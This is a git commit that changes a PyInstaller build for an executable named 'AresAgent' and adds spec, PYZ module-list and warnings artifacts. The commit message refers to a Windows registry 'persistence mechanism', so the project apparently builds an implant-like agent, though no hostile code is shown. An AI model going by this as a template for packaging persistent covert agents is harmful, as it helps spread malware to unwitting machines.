build: update PyInstaller command and add build artifacts

- Use absolute path to pyinstaller executable to avoid PATH issues
- Add --clean flag to prevent permission problems with cache
- Fix Windows registry path escaping in persistence mechanism
- Include generated build artifacts (spec, config, warnings, PYZ toc)
- Add base_library.zip for standalone executable distribution
This commit is contained in:
Aryma
2026-04-14 12:31:41 +07:00
parent 224a0013d7
commit f673320936
11 changed files with 13441 additions and 2 deletions
+2 -1
View File
@@ -36,10 +36,11 @@ def build_agent():
# Build with PyInstaller
try:
build_cmd = [
"pyinstaller", "--onefile", "--console",
"/Users/dsi/Library/Python/3.14/bin/pyinstaller", "--onefile", "--console",
"--name", "AresAgent",
"--distpath", str(build_dir / "dist"),
"--workpath", str(build_dir / "build"),
"--clean", # Clean cache to avoid permission issues
"hammer_agent.py"
]
+38
View File
@@ -0,0 +1,38 @@
# -*- mode: python ; coding: utf-8 -*-
a = Analysis(
['hammer_agent.py'],
pathex=[],
binaries=[],
datas=[],
hiddenimports=[],
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=[],
noarchive=False,
optimize=0,
)
pyz = PYZ(a.pure)
exe = EXE(
pyz,
a.scripts,
a.binaries,
a.datas,
[],
name='AresAgent',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
upx_exclude=[],
runtime_tmpdir=None,
console=True,
disable_windowed_traceback=False,
argv_emulation=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None,
)
File diff suppressed because it is too large Load Diff
Binary file not shown.
+646
View File
@@ -0,0 +1,646 @@
('/Users/dsi/projects/Apollo/build/build/build/AresAgent/PYZ-00.pyz',
[('__future__',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/__future__.py',
'PYMODULE'),
('_ast_unparse',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/_ast_unparse.py',
'PYMODULE'),
('_colorize',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/_colorize.py',
'PYMODULE'),
('_compat_pickle',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/_compat_pickle.py',
'PYMODULE'),
('_opcode_metadata',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/_opcode_metadata.py',
'PYMODULE'),
('_py_abc',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/_py_abc.py',
'PYMODULE'),
('_py_warnings',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/_py_warnings.py',
'PYMODULE'),
('_pydatetime',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/_pydatetime.py',
'PYMODULE'),
('_pydecimal',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/_pydecimal.py',
'PYMODULE'),
('_strptime',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/_strptime.py',
'PYMODULE'),
('_threading_local',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/_threading_local.py',
'PYMODULE'),
('annotationlib',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/annotationlib.py',
'PYMODULE'),
('argparse',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/argparse.py',
'PYMODULE'),
('ast',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/ast.py',
'PYMODULE'),
('asyncio',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/__init__.py',
'PYMODULE'),
('asyncio.base_events',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/base_events.py',
'PYMODULE'),
('asyncio.base_futures',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/base_futures.py',
'PYMODULE'),
('asyncio.base_subprocess',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/base_subprocess.py',
'PYMODULE'),
('asyncio.base_tasks',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/base_tasks.py',
'PYMODULE'),
('asyncio.constants',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/constants.py',
'PYMODULE'),
('asyncio.coroutines',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/coroutines.py',
'PYMODULE'),
('asyncio.events',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/events.py',
'PYMODULE'),
('asyncio.exceptions',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/exceptions.py',
'PYMODULE'),
('asyncio.format_helpers',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/format_helpers.py',
'PYMODULE'),
('asyncio.futures',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/futures.py',
'PYMODULE'),
('asyncio.graph',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/graph.py',
'PYMODULE'),
('asyncio.locks',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/locks.py',
'PYMODULE'),
('asyncio.log',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/log.py',
'PYMODULE'),
('asyncio.mixins',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/mixins.py',
'PYMODULE'),
('asyncio.proactor_events',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/proactor_events.py',
'PYMODULE'),
('asyncio.protocols',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/protocols.py',
'PYMODULE'),
('asyncio.queues',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/queues.py',
'PYMODULE'),
('asyncio.runners',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/runners.py',
'PYMODULE'),
('asyncio.selector_events',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/selector_events.py',
'PYMODULE'),
('asyncio.sslproto',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/sslproto.py',
'PYMODULE'),
('asyncio.staggered',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/staggered.py',
'PYMODULE'),
('asyncio.streams',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/streams.py',
'PYMODULE'),
('asyncio.subprocess',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/subprocess.py',
'PYMODULE'),
('asyncio.taskgroups',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/taskgroups.py',
'PYMODULE'),
('asyncio.tasks',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/tasks.py',
'PYMODULE'),
('asyncio.threads',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/threads.py',
'PYMODULE'),
('asyncio.timeouts',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/timeouts.py',
'PYMODULE'),
('asyncio.transports',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/transports.py',
'PYMODULE'),
('asyncio.trsock',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/trsock.py',
'PYMODULE'),
('asyncio.unix_events',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/unix_events.py',
'PYMODULE'),
('asyncio.windows_events',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/windows_events.py',
'PYMODULE'),
('asyncio.windows_utils',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/asyncio/windows_utils.py',
'PYMODULE'),
('base64',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/base64.py',
'PYMODULE'),
('bisect',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/bisect.py',
'PYMODULE'),
('bz2',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/bz2.py',
'PYMODULE'),
('calendar',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/calendar.py',
'PYMODULE'),
('codeop',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/codeop.py',
'PYMODULE'),
('compression',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/compression/__init__.py',
'PYMODULE'),
('compression._common',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/compression/_common/__init__.py',
'PYMODULE'),
('compression._common._streams',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/compression/_common/_streams.py',
'PYMODULE'),
('compression.zstd',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/compression/zstd/__init__.py',
'PYMODULE'),
('compression.zstd._zstdfile',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/compression/zstd/_zstdfile.py',
'PYMODULE'),
('concurrent',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/concurrent/__init__.py',
'PYMODULE'),
('concurrent.futures',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/concurrent/futures/__init__.py',
'PYMODULE'),
('concurrent.futures._base',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/concurrent/futures/_base.py',
'PYMODULE'),
('concurrent.futures.interpreter',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/concurrent/futures/interpreter.py',
'PYMODULE'),
('concurrent.futures.process',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/concurrent/futures/process.py',
'PYMODULE'),
('concurrent.futures.thread',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/concurrent/futures/thread.py',
'PYMODULE'),
('concurrent.interpreters',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/concurrent/interpreters/__init__.py',
'PYMODULE'),
('concurrent.interpreters._crossinterp',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/concurrent/interpreters/_crossinterp.py',
'PYMODULE'),
('concurrent.interpreters._queues',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/concurrent/interpreters/_queues.py',
'PYMODULE'),
('contextlib',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/contextlib.py',
'PYMODULE'),
('contextvars',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/contextvars.py',
'PYMODULE'),
('copy',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/copy.py',
'PYMODULE'),
('csv',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/csv.py',
'PYMODULE'),
('ctypes',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/ctypes/__init__.py',
'PYMODULE'),
('ctypes._endian',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/ctypes/_endian.py',
'PYMODULE'),
('ctypes._layout',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/ctypes/_layout.py',
'PYMODULE'),
('dataclasses',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/dataclasses.py',
'PYMODULE'),
('datetime',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/datetime.py',
'PYMODULE'),
('decimal',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/decimal.py',
'PYMODULE'),
('difflib',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/difflib.py',
'PYMODULE'),
('dis',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/dis.py',
'PYMODULE'),
('email',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/__init__.py',
'PYMODULE'),
('email._encoded_words',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/_encoded_words.py',
'PYMODULE'),
('email._header_value_parser',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/_header_value_parser.py',
'PYMODULE'),
('email._parseaddr',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/_parseaddr.py',
'PYMODULE'),
('email._policybase',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/_policybase.py',
'PYMODULE'),
('email.base64mime',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/base64mime.py',
'PYMODULE'),
('email.charset',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/charset.py',
'PYMODULE'),
('email.contentmanager',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/contentmanager.py',
'PYMODULE'),
('email.encoders',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/encoders.py',
'PYMODULE'),
('email.errors',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/errors.py',
'PYMODULE'),
('email.feedparser',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/feedparser.py',
'PYMODULE'),
('email.generator',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/generator.py',
'PYMODULE'),
('email.header',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/header.py',
'PYMODULE'),
('email.headerregistry',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/headerregistry.py',
'PYMODULE'),
('email.iterators',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/iterators.py',
'PYMODULE'),
('email.message',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/message.py',
'PYMODULE'),
('email.parser',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/parser.py',
'PYMODULE'),
('email.policy',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/policy.py',
'PYMODULE'),
('email.quoprimime',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/quoprimime.py',
'PYMODULE'),
('email.utils',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/email/utils.py',
'PYMODULE'),
('fnmatch',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/fnmatch.py',
'PYMODULE'),
('fractions',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/fractions.py',
'PYMODULE'),
('ftplib',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/ftplib.py',
'PYMODULE'),
('getopt',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/getopt.py',
'PYMODULE'),
('gettext',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/gettext.py',
'PYMODULE'),
('glob',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/glob.py',
'PYMODULE'),
('gzip',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/gzip.py',
'PYMODULE'),
('hashlib',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/hashlib.py',
'PYMODULE'),
('hmac',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/hmac.py',
'PYMODULE'),
('http',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/http/__init__.py',
'PYMODULE'),
('http.client',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/http/client.py',
'PYMODULE'),
('http.cookiejar',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/http/cookiejar.py',
'PYMODULE'),
('importlib',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/__init__.py',
'PYMODULE'),
('importlib._abc',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/_abc.py',
'PYMODULE'),
('importlib._bootstrap',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/_bootstrap.py',
'PYMODULE'),
('importlib._bootstrap_external',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/_bootstrap_external.py',
'PYMODULE'),
('importlib.abc',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/abc.py',
'PYMODULE'),
('importlib.machinery',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/machinery.py',
'PYMODULE'),
('importlib.metadata',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/metadata/__init__.py',
'PYMODULE'),
('importlib.metadata._adapters',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/metadata/_adapters.py',
'PYMODULE'),
('importlib.metadata._collections',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/metadata/_collections.py',
'PYMODULE'),
('importlib.metadata._functools',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/metadata/_functools.py',
'PYMODULE'),
('importlib.metadata._itertools',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/metadata/_itertools.py',
'PYMODULE'),
('importlib.metadata._meta',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/metadata/_meta.py',
'PYMODULE'),
('importlib.metadata._text',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/metadata/_text.py',
'PYMODULE'),
('importlib.readers',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/readers.py',
'PYMODULE'),
('importlib.resources',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/resources/__init__.py',
'PYMODULE'),
('importlib.resources._adapters',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/resources/_adapters.py',
'PYMODULE'),
('importlib.resources._common',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/resources/_common.py',
'PYMODULE'),
('importlib.resources._functional',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/resources/_functional.py',
'PYMODULE'),
('importlib.resources._itertools',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/resources/_itertools.py',
'PYMODULE'),
('importlib.resources.abc',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/resources/abc.py',
'PYMODULE'),
('importlib.resources.readers',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/resources/readers.py',
'PYMODULE'),
('importlib.util',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/importlib/util.py',
'PYMODULE'),
('inspect',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/inspect.py',
'PYMODULE'),
('ipaddress',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/ipaddress.py',
'PYMODULE'),
('json',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/json/__init__.py',
'PYMODULE'),
('json.decoder',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/json/decoder.py',
'PYMODULE'),
('json.encoder',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/json/encoder.py',
'PYMODULE'),
('json.scanner',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/json/scanner.py',
'PYMODULE'),
('logging',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/logging/__init__.py',
'PYMODULE'),
('lzma',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/lzma.py',
'PYMODULE'),
('mimetypes',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/mimetypes.py',
'PYMODULE'),
('multiprocessing',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/__init__.py',
'PYMODULE'),
('multiprocessing.connection',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/connection.py',
'PYMODULE'),
('multiprocessing.context',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/context.py',
'PYMODULE'),
('multiprocessing.dummy',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/dummy/__init__.py',
'PYMODULE'),
('multiprocessing.dummy.connection',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/dummy/connection.py',
'PYMODULE'),
('multiprocessing.forkserver',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/forkserver.py',
'PYMODULE'),
('multiprocessing.heap',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/heap.py',
'PYMODULE'),
('multiprocessing.managers',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/managers.py',
'PYMODULE'),
('multiprocessing.pool',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/pool.py',
'PYMODULE'),
('multiprocessing.popen_fork',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/popen_fork.py',
'PYMODULE'),
('multiprocessing.popen_forkserver',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/popen_forkserver.py',
'PYMODULE'),
('multiprocessing.popen_spawn_posix',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/popen_spawn_posix.py',
'PYMODULE'),
('multiprocessing.popen_spawn_win32',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/popen_spawn_win32.py',
'PYMODULE'),
('multiprocessing.process',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/process.py',
'PYMODULE'),
('multiprocessing.queues',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/queues.py',
'PYMODULE'),
('multiprocessing.reduction',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/reduction.py',
'PYMODULE'),
('multiprocessing.resource_sharer',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/resource_sharer.py',
'PYMODULE'),
('multiprocessing.resource_tracker',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/resource_tracker.py',
'PYMODULE'),
('multiprocessing.shared_memory',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/shared_memory.py',
'PYMODULE'),
('multiprocessing.sharedctypes',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/sharedctypes.py',
'PYMODULE'),
('multiprocessing.spawn',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/spawn.py',
'PYMODULE'),
('multiprocessing.synchronize',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/synchronize.py',
'PYMODULE'),
('multiprocessing.util',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/multiprocessing/util.py',
'PYMODULE'),
('netrc',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/netrc.py',
'PYMODULE'),
('numbers',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/numbers.py',
'PYMODULE'),
('opcode',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/opcode.py',
'PYMODULE'),
('pathlib',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/pathlib/__init__.py',
'PYMODULE'),
('pathlib._os',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/pathlib/_os.py',
'PYMODULE'),
('pickle',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/pickle.py',
'PYMODULE'),
('pkgutil',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/pkgutil.py',
'PYMODULE'),
('pprint',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/pprint.py',
'PYMODULE'),
('py_compile',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/py_compile.py',
'PYMODULE'),
('queue',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/queue.py',
'PYMODULE'),
('quopri',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/quopri.py',
'PYMODULE'),
('random',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/random.py',
'PYMODULE'),
('runpy',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/runpy.py',
'PYMODULE'),
('secrets',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/secrets.py',
'PYMODULE'),
('selectors',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/selectors.py',
'PYMODULE'),
('shutil',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/shutil.py',
'PYMODULE'),
('signal',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/signal.py',
'PYMODULE'),
('socket',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/socket.py',
'PYMODULE'),
('ssl',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/ssl.py',
'PYMODULE'),
('statistics',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/statistics.py',
'PYMODULE'),
('string',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/string/__init__.py',
'PYMODULE'),
('stringprep',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/stringprep.py',
'PYMODULE'),
('subprocess',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/subprocess.py',
'PYMODULE'),
('tarfile',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/tarfile.py',
'PYMODULE'),
('tempfile',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/tempfile.py',
'PYMODULE'),
('textwrap',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/textwrap.py',
'PYMODULE'),
('threading',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/threading.py',
'PYMODULE'),
('token',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/token.py',
'PYMODULE'),
('tokenize',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/tokenize.py',
'PYMODULE'),
('tracemalloc',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/tracemalloc.py',
'PYMODULE'),
('typing',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/typing.py',
'PYMODULE'),
('urllib',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/urllib/__init__.py',
'PYMODULE'),
('urllib.error',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/urllib/error.py',
'PYMODULE'),
('urllib.parse',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/urllib/parse.py',
'PYMODULE'),
('urllib.request',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/urllib/request.py',
'PYMODULE'),
('urllib.response',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/urllib/response.py',
'PYMODULE'),
('xml',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/xml/__init__.py',
'PYMODULE'),
('xml.parsers',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/xml/parsers/__init__.py',
'PYMODULE'),
('xml.parsers.expat',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/xml/parsers/expat.py',
'PYMODULE'),
('xml.sax',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/xml/sax/__init__.py',
'PYMODULE'),
('xml.sax._exceptions',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/xml/sax/_exceptions.py',
'PYMODULE'),
('xml.sax.expatreader',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/xml/sax/expatreader.py',
'PYMODULE'),
('xml.sax.handler',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/xml/sax/handler.py',
'PYMODULE'),
('xml.sax.saxutils',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/xml/sax/saxutils.py',
'PYMODULE'),
('xml.sax.xmlreader',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/xml/sax/xmlreader.py',
'PYMODULE'),
('xmlrpc',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/xmlrpc/__init__.py',
'PYMODULE'),
('xmlrpc.client',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/xmlrpc/client.py',
'PYMODULE'),
('zipfile',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/zipfile/__init__.py',
'PYMODULE'),
('zipfile._path',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/zipfile/_path/__init__.py',
'PYMODULE'),
('zipfile._path.glob',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/zipfile/_path/glob.py',
'PYMODULE'),
('zipimport',
'/Library/Frameworks/Python.framework/Versions/3.14/lib/python3.14/zipimport.py',
'PYMODULE')])
Binary file not shown.
@@ -0,0 +1,31 @@
This file lists modules PyInstaller was not able to find. This does not
necessarily mean these modules are required for running your program. Both
Python's standard library and 3rd-party Python packages often conditionally
import optional modules, some of which may be available only on certain
platforms.
Types of import:
* top-level: imported at the top-level - look at these first
* conditional: imported within an if-statement
* delayed: imported within a function
* optional: imported within a try-except-statement
IMPORTANT: Do NOT post this list to the issue-tracker. Use it as a basis for
tracking down the missing module yourself. Thanks!
missing module named nt - imported by _colorize (delayed, conditional, optional), shutil (conditional), importlib._bootstrap_external (conditional), ntpath (optional), os (delayed, conditional, optional), ctypes (delayed, conditional)
missing module named _frozen_importlib_external - imported by importlib._bootstrap (delayed), importlib (optional), importlib.abc (optional), zipimport (top-level)
excluded module named _frozen_importlib - imported by importlib (optional), importlib.abc (optional), zipimport (top-level)
missing module named 'collections.abc' - imported by tracemalloc (top-level), typing (top-level), traceback (top-level), _colorize (top-level), logging (top-level), selectors (top-level), http.client (top-level), importlib.resources.readers (top-level), inspect (top-level), asyncio.base_events (top-level), multiprocessing.managers (top-level), asyncio.coroutines (top-level)
